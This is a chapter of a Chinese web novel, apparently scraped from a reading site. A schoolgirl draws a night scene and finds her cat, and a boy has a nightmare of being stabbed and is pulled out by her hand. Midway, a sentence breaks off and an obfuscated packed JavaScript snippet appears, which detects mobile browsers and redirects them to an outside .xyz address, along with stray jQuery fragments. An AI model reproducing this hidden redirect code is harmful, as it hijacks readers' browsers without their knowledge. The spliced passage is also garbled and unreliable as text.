12. 第 12 章

作品:《谁杀死了我们

    写完作业,林冬橘拿出来一张雪白画纸。


    她抽出一支铅笔,手撑着下巴,眉头拧得仿佛在为来日上高考战场做准备。


    这周的美术作业主题是「九点钟的夜色」,现在九点半,还算应景。


    她望向窗外,提取有关夜色的关键目标,她看见了隔壁邻居牵着狗从门前走过,肥嘟嘟的大金毛养得皮光水滑,动起来像一汪金色流瀑。


    厚重云层遮住月光,沉默的路灯发出幽冷的光,洒在她家院中那颗苹果树上,一眼望去,那些枝叶花朵像是覆着一层细雪。


    听说苹果在七月左右结果,也不知道这棵树怎么样,要是长出苹果,她可以带去给杨桃吃……


    林冬橘短暂的分心片刻,她回过神,根据刚才所见开始埋头作画。


    她讨厌画画,画画也讨厌她,一个小时后她停下笔,呼出一口气,好累啊,比做一晚上数学卷子还累,她看着自己的画,人不似人,狗不像狗,她自己都忍不住气笑了。


    她心虚地把作业收进抽屉,发自内心地为美术老师的眼睛担忧。


    夜里风忽然变大,树叶沙沙作响,一朵苹果花被吹飞到纱窗外,她看着花朵粉白可爱,开窗打算拿进来,可是有一阵烈风迎面扑来,混着细小的沙砾。


    林冬橘捂着眼睛,小心地揉了揉。


    等她眼睛舒服了点,花已经不见了。


    奇怪,刚才一晃眼好像看见花被吹进房间里了……林冬橘低下头,没找到花,却看见了竖着尾巴坐在她椅子上的猫咪。


    “小橘!好几天没看到你了,跑哪里去骗吃骗喝了?”林冬橘好惊喜,她眼睛亮晶晶的,不客气地朝着猫猫头伸出魔爪。


    猫咪对少女的“蹂躏”全盘接受,它非常主动地贴脸蹭她,委屈地喵喵直叫。


    假如猫咪会说人话,它肯定要冲着林冬橘控诉,它的另一个主人今天很不称职,一直发呆不理它,都忘了给它吃的。


    钟斯与还没发现橘猫不见了。


    他捏着一朵粉白的花,表情茫然,他刚才准备关窗,这东西就飘进来了,可是现在深秋季节临近冬至,小区里的花都差不多谢了,这朵是什么?


    算了。


    他把花放到一边。


    今晚的古怪真是层出不穷,搞不好,是他家那位女鬼小姐送给他的礼物。


    林冬橘今晚说的话太奇怪了,他忍不住地在意。


    她为什么说要跟他进同一个社团,还要帮他找到凶手?这话说的,好像他真的死了,而她才是活着的那个。


    他摊开手,能看见手腕上淡紫色的血管筋络,靠近腕线的青筋在有规律的跳动。


    他活着,能感觉到冷热,能闻到淡淡花香,他能睡觉,会失眠,有时还会做梦。


    今晚,他一定是日有所思,夜里就梦见了林冬橘。


    梦里的他在一个古怪,雾气浓雾的房子里,他不断地上楼、下楼,重复这个动作,地板在渗血,L型的走廊像一片幽深的隧道,尽头处传来刺耳骇人的哭嚎声。


    他好像遇到了鬼打墙,怎么都走不出去。


    终于,他累了,无力地朝着黑暗处走去,类似鬼哭的嚎叫声离他越来越近,他走到浴室,刹那间窗外电闪雷鸣将他眼前照得雪亮,他看见自己倒在地上,一个鬼祟的身影蹲在他身前,发出阵阵阴森怪叫。


    那是……另一个自己。


    黑影手中的刀高高扬起,刺入他的心口。


    他瞬时感到一阵剧痛,几乎站立不稳,明明他没有倒在那里,那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428903|153854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一刀却好像刺入他自己的身体,血与肉被刺穿,肺腑内脏在绞痛翻腾,他眼前发黑昏了过去。


    再睁开眼睛,黑影在他上方,举着刀怪叫着朝他狞笑,尖刀用力刺入——


    地上的“钟斯与”痛苦地撇过头,看见浴室门口站着的另一个自己,他的脸色青白好像死人,很快他捂着肚子晕了过去。


    他醒过来,又回到那个楼梯上,麻木着一张脸继续之前无意义的徘徊,不能呼救,无法开口。


    钟斯与觉得自己似乎还活着,又好像已经死了,他被困在这个梦里,又仿佛只是个旁观者。


    “钟斯与!”


    他听见了有些熟悉的女声,紧接着,一只手递进了他的手里,柔软温热,不同于这个阴冷的梦境牢笼,他感觉到了鲜活的生命力。


    那只手用力地将他向前拽,他瞬间感觉重心失衡,朝着楼梯下方无限的黑暗混沌跌了下去。


    ……


    钟斯与从床上惊醒过来,恍惚间,他似乎摸到了什么,可那种陌生的触感转瞬便消失了。


    刚才他是做了个噩梦?


    他坐起来,心脏失速地剧跳,那是梦吗?可是他感觉那么真实,他还能清楚地记起被尖刀刺入身体、触及内脏的疼痛感,他已经濒临死亡,却无能为力,只能看着另一个自己继续奔赴这场死亡轮回。


    梦里他似乎是亲历者,却又感觉莫名地抽离,现在梦醒了,他却还是有种不确定,他真的从那个梦里逃出来了吗?


    刚才他在梦中经历的好像是平行世界的一场幻痛,却让他感觉到了真实的死亡阴影。


    钟斯与打开灯,后知后觉,刚才他碰到的好像是一只人手。


    梦里喊他名字的那个声音,是那只手的主人,林冬橘。